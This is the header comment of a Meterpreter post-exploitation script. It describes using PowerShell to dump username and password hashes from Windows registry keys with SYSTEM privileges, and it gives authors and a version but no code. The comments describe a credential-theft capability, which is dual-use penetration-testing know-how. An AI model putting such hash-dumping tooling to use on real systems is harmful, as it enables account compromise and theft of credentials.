#
# Meterpreter script for utilizing purely PowerShell to extract username and password hashes through registry
# keys. This script requires you to be running as system in order to work properly. This has currently been
# tested on Server 2008 and Windows 7, which install PowerShell by default.
#
# Script and code written by: Kathy Peters, Joshua Kelley (winfang), and David Kennedy (rel1k)
#
# Special thanks to Carlos Perez for the template from GetCounterMeasures.rb
#
# Script version 0.0.1
